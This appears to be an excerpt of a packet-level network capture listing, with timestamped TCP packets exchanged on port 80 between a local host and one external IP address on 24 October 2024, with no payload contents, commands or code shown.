Oct 24, 2024 09:07:32.952920914 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.952938080 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.952970028 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.952999115 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.953001976 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.953030109 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.953047037 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.953072071 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.953074932 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.953104973 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.953135967 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.953155994 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.953180075 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.953201056 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.953218937 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.953239918 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.953250885 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.953279018 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.953310013 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.953326941 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.953357935 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.953387976 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.953403950 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.953437090 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.953459024 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.953478098 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.953496933 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.953527927 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.953545094 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.953567028 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.953584909 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.953617096 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.953636885 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.953658104 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.953670025 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.953697920 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.953715086 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.953736067 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.953753948 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.953778028 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.953803062 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.953805923 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.953835011 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.953850985 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.953866005 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.953893900 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.953911066 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.953931093 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.953963041 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.953979015 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.954015017 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.954030991 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.954051971 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.954086065 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.954107046 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.954122066 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.954133987 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.954163074 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.954195023 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.954216957 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.954235077 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.954267025 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.954291105 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.954308987 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.954324007 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.954349995 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.954366922 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.954402924 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.954421997 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.954443932 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.954463005 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.954494953 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.954511881 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.954529047 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.954554081 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.954571962 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.954603910 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.954627037 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.954646111 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.954677105 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.954696894 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.954715967 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.954730988 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.954758883 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.954771996 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.954801083 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.954823971 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.954843044 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.954855919 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.954883099 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.954931021 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.954948902 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.954979897 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.955003023 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.955033064 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.955045938 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.955045938 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.955080986 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.955097914 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.955128908 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.955144882 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.955169916 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.955173016 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.955205917 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.955209970 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.955236912 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.955492020 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.962483883 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.963443995 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.964087963 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.964098930 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.964114904 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.964123964 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.964132071 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.964185953 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.964185953 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.964238882 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.988595963 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.994070053 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.994126081 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.994165897 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.994185925 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.994210005 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.994262934 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.994282961 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.994326115 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.994335890 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.994335890 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.994379997 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.994396925 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.994432926 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.994498014 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.994535923 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.994617939 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.994636059 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.994653940 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.994677067 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.994699001 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.994731903 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.994751930 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.994795084 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.994833946 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.994853020 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.994868040 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.994879961 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.994910002 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.994942904 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.994966030 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.994998932 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.995029926 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.995070934 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.995100021 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.995117903 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.995168924 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.995186090 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.995208979 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.995232105 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.995251894 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.995285988 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.995311022 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.995359898 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.995400906 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.995419025 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.995433092 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.995455980 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.995460033 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.995512962 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.995531082 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.995552063 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.995579958 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.995584011 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.995676994 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.995697021 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.995712996 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.995767117 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.995795012 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.995799065 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.995850086 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.995882988 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.995914936 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.995929003 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.995964050 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.995985031 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.996006012 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.996037960 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.996051073 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.996078968 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.996105909 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.996129036 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.996140957 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.996157885 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.996191025 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.996196985 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.996196985 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.996237993 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.996257067 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.996290922 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.996309042 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.996334076 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.996416092 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.998459101 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.035758972 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.035804987 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.035835028 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.035854101 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.035906076 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.036048889 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.064363956 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.065486908 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.065531015 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.065567017 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.065617085 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.065645933 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.065706015 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.065726042 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.065764904 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.065783978 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.065838099 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.065856934 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.065874100 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.065886021 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.065907001 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.065937996 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.065973997 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.065999985 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.066018105 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.066031933 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.066087008 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.066098928 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.066148996 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.066167116 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.066224098 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.066245079 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.066292048 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.066329002 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.066332102 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.066385984 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.066420078 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.066437006 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.066472054 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.066489935 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.066530943 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.066560030 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.066576958 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.066611052 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.066631079 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.066651106 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.066684008 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.066704988 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.066725016 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.066759109 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.066785097 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.066806078 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.066839933 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.066858053 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.066890955 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.066915989 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.066934109 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.066976070 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.066988945 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.067007065 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.067038059 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.067080021 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.067096949 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.067130089 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.067154884 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.067173004 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.067195892 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.067214012 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.067254066 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.067272902 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.067297935 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.067301989 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.067352057 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.067370892 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.067398071 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.067398071 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.067455053 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.067473888 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.067506075 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.067528009 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.067560911 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.067584991 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.067604065 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.067637920 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.067658901 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.067679882 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.067715883 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.067719936 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.067749023 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.067784071 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.067806005 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.067825079 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.067837000 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.067867994 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.067903996 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.067920923 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.067954063 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.067977905 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.068017960 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.068049908 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.068073988 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.068093061 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.068125963 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.068160057 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.068190098 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.068208933 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.068240881 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.068258047 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.068289995 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.068312883 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.068331957 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.068363905 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.068387032 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.068416119 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.068418980 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.068469048 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.068486929 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.068502903 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.068533897 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.068547964 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.068574905 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.068600893 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.068619013 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.068630934 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.068660021 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.068676949 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.068712950 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.068730116 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.068749905 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.068790913 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.068794012 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.068836927 CEST	80	49772	185.215.113.16	192.168.2.6
